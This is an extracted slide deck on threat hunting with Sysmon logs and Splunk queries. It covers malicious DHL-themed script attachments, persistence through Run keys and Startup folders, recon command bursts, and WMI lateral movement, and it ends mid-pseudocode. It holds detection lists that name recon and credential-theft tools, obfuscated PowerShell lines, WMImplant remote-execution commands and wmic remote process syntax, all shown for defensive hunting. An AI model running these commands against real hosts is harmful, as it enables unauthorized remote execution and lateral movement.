File name: DHL_Report_1127388378_Di_April_04_2017.js
Detection ratio: 30 / 57
Analysis date: 2017-04-14 06:50:19 UTC (5 days, 15 hours ago)
- File 3:** SHA256: ce3c10a32bd7bece2b95cbb26e5aafla
File name: DHL_Report_1127388378_Di_April_04_2017.js
Detection ratio: 30 / 57
Analysis date: 2017-04-14 06:50:19 UTC (5 days, 15 hours ago)

Below the analysis results, there are tabs for Analysis, Additional information, Comments (1), and Votes.

Hunting for Delivery of Malware

The screenshot shows the VirusTotal analysis interface. On the left, there's a sidebar with navigation links: Home, Analysis, File identification, and Hashes. The 'File identification' section is currently selected, indicated by a red border around the 'MD5' link. Below it are 'SHA1' and 'SHA256' links. The main content area displays a list of file submissions. Each submission includes fields for 'First submission', 'Last submission', and 'File names'. The 'File names' field lists various file names, many of which contain the string 'DHL_Report'. A large portion of the 'File names' list is highlighted with a red box, indicating a specific set of files being analyzed.

First submission	2017-04-04 10:30:29 UTC (2 weeks, 1 day ago)
Last submission	2017-04-12 15:45:21 UTC (1 week ago)
File names	DHL_Report_8114149752_Di_April_04_2017.js DHL_Report_3532524945_Di_April_04_2017.js DHL_numer_zlecenia_3689611784_kwi_04_2017.js DHL_Report_2007917500_Di_April_04_2017.js DHL_numer_zlecenia_6764630963_kwi_04_2017.js DHL_Report_3402091438_Di_April_04_2017.js DHL_Report_1465562815_Di_Apr_04_2017.js DHL_Report_6548084943_Di_April_04_2017.js DHL_Report_7498269696_Di_Apr_04_2017.js DHL_Report_5788608901_Di_April_04_2017.js DHL_Report_1177703758_Di_Apr_04_2017.js DHL_numer_zlecenia_5688207511_kwi_04_2017.js dhl_status_7304323130_Tue_Apr_04_2017.js DHL_numer_zlecenia_2941575940_kwi_04_2017.js DHL_Report_8574692820_Di_April_04_2017.js DHL_Report_2139635168_Di_April_04_2017.js dhl_status_7578910389_Tue_Apr_04_2017.js DHL_numer_zlecenia_1995870938_kwi_04_2017.js DHL_numer_zlecenia_6598894328_kwi_04_2017.js DHL_Report_6384324868_Di_April_04_2017.js DHL_Report_7395647347_Di_April_04_2017.js DHL_numer_zlecenia_7007052494_kwi_04_2017.js DHL_numer_zlecenia_6148893246_kwi_04_2017.js DHL_Report_9612597249_Di_April_04_2017.js dhl_status_2277499676_Tue_Apr_04_2017.js

Detecting Persistence Methods

- * Hunting for Persistence Methods
 - Registry Keys
 - Filesystem (e.g. Startup folders)

Detecting Persistence (Registry)

- * Searching for «Run» or «RunOnce» keys

```
index=... SourceName="Microsoft-Windows-Sysmon" RegistryEvent  
  CurrentVersion Run  
| search EventCode=13 "*\\Windows\\CurrentVersion\\Run*"  
  
| rex field=Image ".*\\\\(?<Image_EXE>[^\\\\]*")"  
| rex field=TargetObject ".*\\\\CurrentVersion\\\\(?<TargetObj_PATH>.)"  
| strcat "Image="" Image_EXE "\", TargetObject="" TargetObj_PATH "\", Details=""" Details "\""  
  Image_TargetObj_Details  
| stats dc(ComputerName) AS Clients values(Image_TargetObj_Details)  
  count by TaskCategory Image_EXE
```

Detecting Persistence (Registry)

TaskCategory	Image_EXE	Clients	values(Image_TargetObj_Details)	count
Registry value set (rule: RegistryEvent)	CiscoJabber.exe	91	Image="CiscoJabber.exe", TargetObject="Run\Cisco Jabber", Details="C:\Program Files (x86)\Cisco Systems\Cisco Jabber\CiscoJabber.exe"	231
Registry value set (rule: RegistryEvent)	Setup.exe	13	Image="Setup.exe", TargetObject="Run\AdobeAAMUpdater-1.0", Details="C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe" Image="Setup.exe", TargetObject="Run\AdobeBridge", Details="(Empty)" Image="Setup.exe", TargetObject="Run\ahScrollutility", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\HScrollFun.exe" Image="Setup.exe", TargetObject="Run\aosD", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\osd.exe" Image="Setup.exe", TargetObject="Run\arunMaincpl", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\maincpl>MainCpl.exe" Image="Setup.exe", TargetObject="Run\asetSpeed", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\SetSpeed.exe"	103
Registry value set (rule: RegistryEvent)	GoogleUpdate.exe	7	Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\[REDACTED]\AppData\Local\Google\Update\GoogleUpdate.exe" /c" Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\[REDACTED]\AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe" Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\[REDACTED]\AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe" Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\[REDACTED]\AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe"	9

Detecting Persistence (Registry)

TaskCategory	Image_EXE	Clients	values(Image_TargetObj_Details)	count
Registry value set (rule: RegistryEvent)	CiscoJabber.exe	91	Image="CiscoJabber.exe", TargetObject="Run\Cisco Jabber", Details="C:\Program Files (x86)\Cisco Systems\Cisco Jabber\CiscoJabber.exe"	231
Registry value set (rule: RegistryEvent)	Setup.exe	13	Image="Setup.exe", TargetObject="Run\AdobeAAMUpdater-1.0", Details="C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe" Image="Setup.exe", TargetObject="Run\AdobeBridge", Details="(Empty)" Image="Setup.exe", TargetObject="Run\ahScrollutility", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\HScrollFun.exe" Image="Setup.exe", TargetObject="Run\aoSD", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\osd.exe" Image="Setup.exe", TargetObject="Run\arunMaincpl", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\maincpl>MainCpl.exe" Image="Setup.exe", TargetObject="Run\asetSpeed", Details="C:\Program Files (x86)\LENOVO\ThinkPad Compact Keyboard with TrackPoint driver\SetSpeed.exe"	103
Registry value set (rule: RegistryEvent)	GoogleUpdate.exe	7	Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Data\Local\Google\Update\GoogleUpdate.exe" /c" etObject="Run\Google Update", AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe" etObject="Run\Google Update", AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe" etObject="Run\Google Update",	9
Registry value set (rule: RegistryEvent)	GoogleUpdate.exe	7	Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\████████\AppData\Local\Google\Update\GoogleUpdate.exe" /c" Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\████████\AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe" Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\████████\AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe" Image="GoogleUpdate.exe", TargetObject="Run\Google Update", Details="C:\Users\████████\AppData\Local\Google\Update\1.3.33.3\GoogleUpdateCore.exe"	9

Detecting Persistence (Filesystem)

- * Example for «ProcessCreate», not «FileCreate»

```
index=... SourceName="Microsoft-Windows-Sysmon" ProcessCreate  
"Start Menu" Programs Startup  
| search Image="*\\"Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*"  
  
| rex field=Image ".*\\\\\\Programs\\\\\\Startup\\\\\\(?<Startup_Image>[^\\\\\\\\]*)"  
| rex field=Hashes ".*MD5=(?<MD5>[A-F0-9]*),IMPHASH=(?<IMPHASH>[A-F0-9]*)"  
| stats values(ComputerName) AS Clients values(MD5)  
    count by IMPHASH Startup_Image
```

Detecting Persistence (Filesystem)

The diagram illustrates a workflow for detecting persistence across three different tools:

- Top Left:** A screenshot of a database interface showing two columns: IMPHASH and Startup_Image. The first row has its IMPHASH value (7CC5DE4B0F816307AB343372C371BF8A) highlighted with a red box. The second column shows the file name GoogleChromePortable.exe.
- Top Right:** A screenshot of another database interface showing a column labeled Clients and a column labeled values(MD5). The first row has its MD5 value (20A1E0873B6CE549108274C3EC2753E0) highlighted with a red box. The third column shows the count of occurrences (13).
- Bottom Left:** A screenshot of the VirusTotal search results page. The search term "GoogleChromePortable.exe" is shown. The results table has a single row with the status "File not found". An arrow points from this row to the highlighted IMPHASH value in the top-left database.
- Bottom Right:** A yellow callout bubble contains the text "This should make you go «Hmmm??»".

Detecting Persistence (Filesystem)

- * Example for «FileCreate»

```
1 index= SourceName="Microsoft-Windows-Sysmon" FileCreate "Start Menu" Startup  
2 | search TargetFilename="*\\"Start Menu\\Programs\\Startup\\*"  
3     NOT  
4     NOT  
5 | stats values(ComputerName) values(TargetFilename) count by Image
```

✓ 398 events (3/1/17 12:00:00.000 AM to 5/13/17 12:00:00.000 AM) No Event Sampling ▾

- * Less than 400 results in > 2 months
 - after tuning exclusion list

Detecting Persistence (Filesystem)

Image	values(ComputerName)
C:\Program Files (x86)\CLX.PayPen II\Clx.Epayment.Reader.exe	[REDACTED]
C:\Program Files (x86)\Citrix\ICA Client\SelfServicePlugin\SelfService.exe	[REDACTED]
C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe	[REDACTED]

values(TargetFilename)	count
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CLX.PayPen.lnk	3
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix Receiver.lnk	3
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix Receiver.lnk	3
C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix Receiver.lnk	3
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	2

Detecting Persistence (Filesystem)

Image	values(ComputerName)
C:\Program Files (x86)\CLX.PayPen II\Clx.Epayment.Reader.exe	[redacted]
C:\Program Files (x86)\Citrix\ICA Client\SelfServicePlugin\SelfService.exe	[redacted]
P:\[redacted]\Texter\texter.exe	[redacted]
C:\Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Texter.lnk	2
values(TargetFilename)	count
C:\Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CLX.PayPen.lnk	3
C:\Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix Receiver.lnk	3
C:\Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix Receiver.lnk	3
C:\Users\[redacted]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Citrix Receiver.lnk	3
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	2

Detecting Internal Recon

- * Internal Recon used as preparation for Lateral Movement
- * Legit system commands used
- * Can also be used by sysadmins or users
- * Baseline and find appropriate thresholds
 - Number of different commands and time window

Detecting Internal Recon



Detecting Internal Recon

www.threathunting.net

Lateral Movement Detection via Process Monitoring

Purpose

Find threat actors moving laterally in the network by looking for examples of common techniques they use to orient themselves on new systems.

Data Required

Windows process creation logs (security event 4688) or other similar information (e.g., EDR logs)

Collection Considerations

The more endpoints and servers from which you collect process information, the more likely you are to be able to find threat actor activity.

Analysis Techniques

- Counting occurrences within a time window

Description

Several legitimate windows binaries executing within a specified time frame may indicate lateral movement.

Detecting Internal Recon

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Lateral Movement Detection via Process Monitoring

Description

Several legitimate windows binaries executing within a specified time frame may indicate lateral movement.

As an adversary moves from machine to machine they will often want to know things like: who they are, what level of access do they have, what services are running on the machine, what other machines are around them... They will often determine this by using legitimate windows binaries. When determining this information they will typically do this in minutes vs hours regardless if they are using a script or typing the commands on a command line. Knowing this, we can use it to our advantage. Again focusing on windows event logs and focusing on event codes 4688/592 try to identify the following:

- net.exe, ipconfig.exe, whoami.exe, nbtstat.exe...
- Cluster x number of processes executing within a 10 minute time frame.

For the data that is returned:

- identify the parent process and if it's legitimate?
- What additional processes have executed on the machine within a 1 hour period and do any of those look suspicious? If there are, are they owned by the same user?
- Are these spawned by the same process or process name?
- Are these processes all owned by the same user?
- Is there previous history of this activity?"

Detecting Internal Recon

CAR-2013-04-002: Quick execution of a series of suspicious commands

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

Contents [hide]

- [1 Output Description](#)
- [2 ATT&CK Detection](#)
- [3 Pseudocode](#)

CAR-2013-04-002

Submission Date	04/11/2013
Information Domain	Analytic, Host
Host Subtypes	Process
Type	TTP
Analytic Subtypes	Sequence
Contributor	MITRE

Detecting Internal Recon



CAR-2013-04-002: Quick execution of a series of suspicious

Pseudocode

```
processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
    or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
    or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
    or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
    or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
    or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
    or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
    or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
    or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped
```

process	create	exe
process	create	hostname
process	create	ppid

Detecting Internal Recon

- * 3 or more (of 7) different commands executed within 15 min

```
index= sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" ProcessCreate  
    (ipconfig OR net.exe OR whoami OR netstat OR nbtstat OR hostname OR tasklist)  
  
    | search EventCode=1  
        Image="*\\ipconfig.exe" OR Image="*\\net.exe" OR Image="*\\whoami.exe" OR Image="*\\netstat.exe" OR  
        Image="*\\nbtstat.exe" OR Image="*\\hostname.exe" OR Image="*\\tasklist.exe"  
    | bin _time span=15m  
    | rex field=Message ".*User: (\[redacted]NT AUTHORITY)\\\\\(?<USER1>,*)"  
    | stats dc(Image) AS CNT_CMDS values(CommandLine) values(ParentImage) values(ParentCommandLine)  
        count by _time ComputerName USER1  
    | where CNT_CMDS > 2
```

Detecting Internal Recon

The screenshot shows a Splunk search interface with the following search string:

```
_time < ComputerName < USER1 < CNT_CMDS < values(CommandLine) < values(ParentImage)
```

The results table displays the following data:

CommandLine	ParentImage
hostname	C:\Windows\SysWOW64\cmd.exe
ipconfig /all	
ipconfig /displaydns	
net localgroup "Administrators"	
net session	
net share	
net start	
net use	
net user	
netstat -na	
netstat -r	
tasklist /svc	
tasklist /v	
whoami	
whoami /all	

A second table shows the count of parent command lines:

ParentCommandLine	count
C:\Windows\system32\cmd.exe /C hostname	15
C:\Windows\system32\cmd.exe /C ipconfig /all	
C:\Windows\system32\cmd.exe /C ipconfig /displaydns	
C:\Windows\system32\cmd.exe /C net localgroup "Administrators"	
C:\Windows\system32\cmd.exe /C net session	
C:\Windows\system32\cmd.exe /C net share	
C:\Windows\system32\cmd.exe /C net start	
C:\Windows\system32\cmd.exe /C net use	
C:\Windows\system32\cmd.exe /C net user	
C:\Windows\system32\cmd.exe /C netstat -na findstr "ESTABLISHED"	
C:\Windows\system32\cmd.exe /C netstat -r	
C:\Windows\system32\cmd.exe /C tasklist /svc	
C:\Windows\system32\cmd.exe /C tasklist /v	
C:\Windows\system32\cmd.exe /C whoami	
C:\Windows\system32\cmd.exe /C whoami /all	

An annotation highlights the following information:

15 occurrences
6 diff cmds
within 15 mins

Detecting Internal Recon

_time	ComputerName	USER1
2017-04-05 14:49:03		
2017-04-05 14:49:13		
2017-04-05 14:50:01		
2017-04-05 14:51:31		

«False detections»
are possible
Explorer -> cmd.exe

Image	CommandLine	ParentCommandLine
C:\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe"	C:\Windows\explorer.exe
C:\Windows\System32\whoami.exe	whoami /groups	"C:\Windows\system32\cmd.exe"
C:\Windows\System32\net.exe	net localgroup Administratoren	"C:\Windows\system32\cmd.exe"
C:\Windows\System32\ipconfig.exe	ipconfig	"C:\Windows\system32\cmd.exe"

3 diff cmds
within 3 mins

Lateral Movement

- * Lateral Movement using WMI for Execution

The screenshot shows a user interface for monitoring lateral movement. At the top are two blue buttons: "SELECT ALL" and "CLEAR ALL". Below them is a list of detected events:

- Command Launched from WinLogon
CAR-2014-11-008
- Remotely Launched Executables via WMI
CAR-2014-12-001

A red box highlights the second event. To the right is a vertical navigation menu with several items:

- Lateral Movement
- Application Deployment
- Remote Services
- Windows Remote
- Logon Scripts
- Execution
- Windows Remote
- Windows Management
- Scheduled Task

The "Execution" item is highlighted with a blue border.

ATT&CK TTP on WMI

<https://attack.mitre.org/wiki/Technique/T1047>



Windows Management Instrumentation

Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)^[1] and Remote Procedure Call Service (RPCS)^[2] for remote access. RPCS operates over port 135.^[3]

An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for [Discovery](#) and remote [Execution](#) of files as part of [Lateral Movement](#).^[4]

Contents [hide]

- [1 Examples](#)
- [2 Mitigation](#)
- [3 Detection](#)
- [4 References](#)

Examples

- The [Deep Panda](#) group is known to utilize WMI for lateral movement.^[5]
- [APT29](#) used WMI to steal credentials and execute backdoors at a future time.^[6]
- [Lazarus Group](#) malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.^[7]
- [Stealth Falcon](#) malware gathers system information via Windows Management Instrumentation (WMI).^[8]
- The [DustySky](#) dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.^[9]
- A [BlackEnergy](#) 2 plug-in uses WMI to gather victim host details.^[10]

Windows Management Instrumentation	
Technique	
ID	T1047
Tactic	Execution
Platform	Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1
System Requirements	WMI service, winmgmt, running. Host/network firewalls allowing SMB and WMI ports from source to destination. SMB authentication.
Permissions Required	User, Administrator
Data Sources	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Supports Remote	Yes

Who's (ab-)using WMI



Products & Services

Solutions

Partners

Home > FireEye Blogs > Threat Research Blog > Dissecting One of APT29's Fileless WMI and PowerSh...

Dissecting One of APT29's Fileless WMI and PowerShell Backdoors (POSHSPY)

April 03, 2017 | by Matthew Dunwoody | Threat Research, Advanced Malware

Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY. POSHSPY leverages two of the tools the group frequently uses: PowerShell and Windows Management Instrumentation (WMI). In the investigations Mandiant has conducted, it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors.


POSHSPY makes the most of using built-in Windows features – so-called "living off the land" – to make an especially stealthy backdoor. POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI. Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through [enhanced logging](#) or in memory. The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult. Every aspect of POSHSPY is efficient and covert.

Who's (ab-)using WMI

YouTube CH Search

Challenge 4: Advanced Attack Techniques

- Windows Management Instrumentation (**WMI**)
 - Attacker used WMI to persist backdoors
 - Embedded backdoor files and PowerShell scripts in WMI repo
 - Used WMI to steal credentials from remote systems
 - Configured WMI to extract and execute backdoors months in the future, to evade remediation
- Attacker leveraged **PowerShell**
 - Stealthy backdoors
 - PowerShell scripts like Invoke-Mimikatz evaded A/V detection
 - Excellent WMI integration
- Kerberos**
 - Attacker used Kerberos ticket attacks, which made tracking lateral movement difficult



MANDIANT FireEye

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404 No Easy Breach Challenges and Lessons from an Epic Investigation Matthew Dunwoody Nick Carr

DERBYCON 6.0 RECHARGE
www.DerbyCon.com
<https://DerbyCon.com>

Who's (ab-)using WMI

The thumbnail is a screenshot of a YouTube video page. At the top, it says "Challenge 4: Advanced". Below that is a bulleted list of techniques:

- Windows Management Instrumentation (WMI)
 - Attacker used WMI to persist backdoors
 - Embedded backdoor files and PowerShell scripts in WMI repo
 - Used WMI to steal credentials from remote systems
 - Configured WMI to extract and execute backdoors months in the future, to evade remediation
- Attacker leveraged PowerShell
 - Stealthy backdoors
 - PowerShell scripts like Invoke-Mimikatz evaded A/V detection
 - Excellent WMI integration
- Kerberos
 - Attacker used Kerberos ticket attacks, which made tracking lateral movement difficult

At the bottom left, there is a MANDIANT logo with the text "A FireEye Company".

404 No Easy Breach Challenge
Investigation Matthew Du

Challenge 4: Advanced Attack Techniques

- Windows Management Instrumentation (**WMI**)
 - Attacker used WMI to persist backdoors
 - Embedded backdoor files and PowerShell scripts in WMI repo
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 - Excellent WMI integration
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 - Attacker used Kerberos ticket attacks, which made tracking lateral movement difficult

Who's (ab-)using WMI



Products & Services

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WMIImplant – A WMI Based Agentless Post-Exploitation RAT Developed in PowerShell

March 23, 2017 | by Christopher Truncer | Threat Research

Just over one year ago (November 2015), I released [WMIOps](#), a PowerShell script that enables a user to carry out different actions via Windows Management Instrumentation (WMI) on the local machine or a remote machine. WMIOps can:

- Start or stop a process.
- Return a list of all running processes.
- Power off, reboot, or log users off the targeted system.
- Get a listing of all files within a directory.
- Read a file's contents.
- ...and more.

As I continued to develop WMIOps and use it during [Mandiant Red Team Operations](#), I realized that it has some of the same capabilities that are in Remote Access Tools (RATs). WMIOps's capabilities were in a state of disparate functions, but if I wove what existed along with new functionality, I could create a RAT. After months of development and internal testing, I'm happy to publicly release [WMIImplant](#).

WMIImplant leverages WMI for the command and control channel, the means for executing actions (gathering data, issuing commands, etc.) on the targeted system, and data storage. It is designed to run both interactively and non-interactively. When using WMIImplant interactively, it's designed to have a menu of commands reminiscent of Meterpreter, as shown in Figure 1.

Who's (ab-)using WMI



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WMIImplant

WMIImplant is a PowerShell based tool that leverages WMI to both perform actions against targeted machines, but also as the C2 channel for issuing commands and receiving results. WMIImplant will likely require local administrator permissions on the targeted machine.

Developed by [@christruncer](#)

WMIImplant Functions:

Meta Functions

- Change the context of the user you will execute WMI commands as
- Exits WMIImplant
- Generate the command line command to use WMIImplant non-interactively
- Sets the targeted system's WMI property back to its default value
- View the list of commands and descriptions

File Operations

- Reads the contents of a file
- Download a file from the targeted machine
- File/Directory listing of a specific directory
- Search for a file on a user-specified drive
- Upload a file to the targeted machine

Who's (ab-)using WMI



WMImplant

WMImplant is a PowerShell-based C2 channel for issuing commands on a targeted machine.

Developed by @dread0

March 2014

Just over a year ago via WinRM

- Starts services
- Reverses connections
- Powershell injection
- Geohash support
- Remote file delivery
- ... and more

As I continue to develop the capabilities of WMImplant, it has existed for a long time now and released many features.

WMImplant command-line interface:

Category	Commands	Description
Lateral Movement Facilitation	command_exec disable_wdigest disable_winrm enable_wdigest enable_winrm registry_mod remote_posh sched_job service_mod	- Run a command line command and receive the output - Removes registry value UseLogonCredential - Disables WinRM on the targeted system - Adds registry value UseLogonCredential - Enables WinRM on the targeted system - Modify the registry on the targeted machine - Run a PowerShell script on a remote machine and receive the output - Manipulate scheduled jobs - Create, delete, or modify system services
Meta Functions	change_user exit gen_cli set_default help	- Kill a process via name or process id on the targeted machine - Start a process on the targeted machine - Process listing
File Operations	cat download ls search upload	- List domain users with active processes on the targeted system - Used to enumerate basic metadata about the targeted system - List local and network drives - Receive IP info from NICs with active network connections - Receive a list of the installed programs on the targeted machine - Log users off the targeted machine - Reboot the targeted machine - Power off the targeted machine - Determine if a user is away from the system
System Operations		

Lateral Movement Facilitation

- Run a command line command and receive the output
- Removes registry value UseLogonCredential
- Disables WinRM on the targeted system
- Adds registry value UseLogonCredential
- Enables WinRM on the targeted system
- Modify the registry on the targeted machine
- Run a PowerShell script on a remote machine and receive the output
- Manipulate scheduled jobs
- Create, delete, or modify system services

Process Operations

- Kill a process via name or process id on the targeted machine
- Start a process on the targeted machine
- Process listing

System Operations

- List domain users with active processes on the targeted system
- Used to enumerate basic metadata about the targeted system
- List local and network drives
- Receive IP info from NICs with active network connections
- Receive a list of the installed programs on the targeted machine
- Log users off the targeted machine
- Reboot the targeted machine
- Power off the targeted machine
- Determine if a user is away from the system

Testing with WMImplant

- * Testing «command_exec» using WMImplant with PS-ISE

The screenshot shows a terminal session with two panes. The left pane displays the configuration for a command execution:

```
Command >: command_exec
What system are you targeting? >: [REDACTED]
Please provide the command you'd like to run >: ipconfig /all
Windows IP Configuration
```

The right pane shows the results of the command execution:

```
Host Name . . . . . : [REDACTED]
Primary Dns Suffix . . . . . : [REDACTED]
Node Type . . . . . : Hybrid
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : [REDACTED]
```

Host Name: [REDACTED]
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Workstation
OS Build Type: Multiprocessor Free

The bottom part of the screenshot shows a process tree and timeline from Sysmon:

Process Tree	Time	File Path
wininit.exe (660)	28.03.2017 17:16:31	n/a
services.exe (764)	28.03.2017 17:16:37	n/a
svchost.exe (888)	28.03.2017 17:16:58	n/a
wmiprvse.exe (692)	28.03.2017 17:18:38	C:\Windows\system32\wbem\wmiprvse.exe
wmiprvse.exe (2248)	28.03.2017 17:20:40	C:\Windows\system32\wbem\wmiprvse.exe
powershell.exe (9040)	29.03.2017 18:13:04	powershell \$env:59HYp Inv'oke-Ex`pression
powershell.exe (7648)	29.03.2017 18:13:05	C:\Windows\system32\ipconfig.exe" /all
powershell.exe (5560)	29.03.2017 18:13:35	powershell IE\X \$env:Q6JS9
systeminfo.exe (8600)	29.03.2017 18:13:36	"C:\Windows\system32\systeminfo.exe"
wmiprvse.exe (732)	28.03.2017 17:20:40	C:\Windows\system32\wbem\wmiprvse.exe

Testing with WMImplant

- * Testing «process_start» using WMImplant with Beacon

```
beacon> powershell-import C:\████████\WMImplant-master\WMImplant.ps1
[*] Tasked beacon to import: C:\████████\WMImplant-master\WMImplant.ps1
[+] host called home, sent: 26752 bytes
```

```
beacon> powershell Invoke-WMImplant -ProcessStart -RemoteFile calc.exe -Target ████
[*] Tasked beacon to run: Invoke-WMImplant -ProcessStart -RemoteFile calc.exe -Target ████
[+] host called home, sent: 86 bytes
[+] received output:
```

wininit.exe (660)	28.03.2017 17:16:31	n/a	wininit.exe
services.exe (764)	28.03.2017 17:16:37	n/a	C:\Windows\system32\services.exe
svchost.exe (888)	28.03.2017 17:16:58	n/a	C:\Windows\system32\svchost.exe -k DcomLaunch
wmiprvse.exe (692)	28.03.2017 17:18:38	n/a	C:\Windows\system32\wbem\wmiprvse.exe
wmiprvse.exe (2248)	28.03.2017 17:20:40	n/a	C:\Windows\system32\wbem\wmiprvse.exe
notepad.exe (9100)	29.03.2017 17:24:52	n/a	notepad.exe
calc.exe (7628)	29.03.2017 17:25:08	n/a	calc.exe
wmiprvse.exe (732)	28.03.2017 17:20:40	n/a	C:\Windows\system32\wbem\wmiprvse.exe

Detecting WMI spawned proc's

CAR-2014-12-001: Remotely Launched Executables via WMI

Adversaries can use [Windows Management Instrumentation \(WMI\)](#) to move laterally by launching executables remotely. For adversaries to achieve this, they must open a WMI connection to a remote host. This RPC activity is currently detected by [CAR-2014-11-007: Remote Windows Management Instrumentation \(WMI\) over RPC](#). After the WMI connection has been initialized, a process can be remotely launched using the command: `wmic /node:<hostname> process call create "<command line>"`, which is detected via [CAR-2016-03-002: Create Remote Process via WMIC](#).

This leaves artifacts at both a network (RPC) and process (command line) level. When wmic.exe (or the schtasks API) is used to remotely create processes, Windows uses RPC (135/tcp) to communicate with the the remote machine.

After RPC authenticates, the RPC endpoint mapper opens a high port connection, through which the schtasks Remote Procedure Call is actually implemented. With the right packet decoders, or by looking for certain byte streams in raw data, these functions can be identified.

When the command line is executed, it has the parent process of `C:\windows\system32\wbem\WmiPrvSE.exe`. This analytic looks for these two events happening in sequence, so that the network connection and target process are output.

CAR-2014-12-001

Submission Date	12/02/2014
Information Domain	Host, Network
Host Subtypes	Network, Process
Network Subtypes	PCAP
Network Protocols	RPC
Type	TTP
Contributor	MITRE

Detecting WMI spawned proc's

Cyber Analytic Repository

Page Help

CAR

Main page
CARET
Analytic List
Contribute
Help

Coverage
Data Model
Sensors

Tools
Printable version
Permanent link

Contact
Contact Us

Output Description

Identifies the process that initiated the RPC request (such as `wmic.exe` or `powershell.exe`), as well as the source and destination information of the network connection that triggered the alert.

ATT&CK Detection

Technique	Tactics	Level of Coverage
Windows Management Instrumentation	Execution	High

Pseudocode

Look for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If other processes are spawned from `wmiprvse.exe` in this time frame, it is possible for race conditions to occur, and the wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired command can be extracted.

```
processes = search Process:Create
wmi_children = filter processes where (parent_exe == "wmiprvse.exe")

flows = search Flow:Message
wmi_flow = filter flows where (src_port >= 49152 and dest_port >= 49152 and
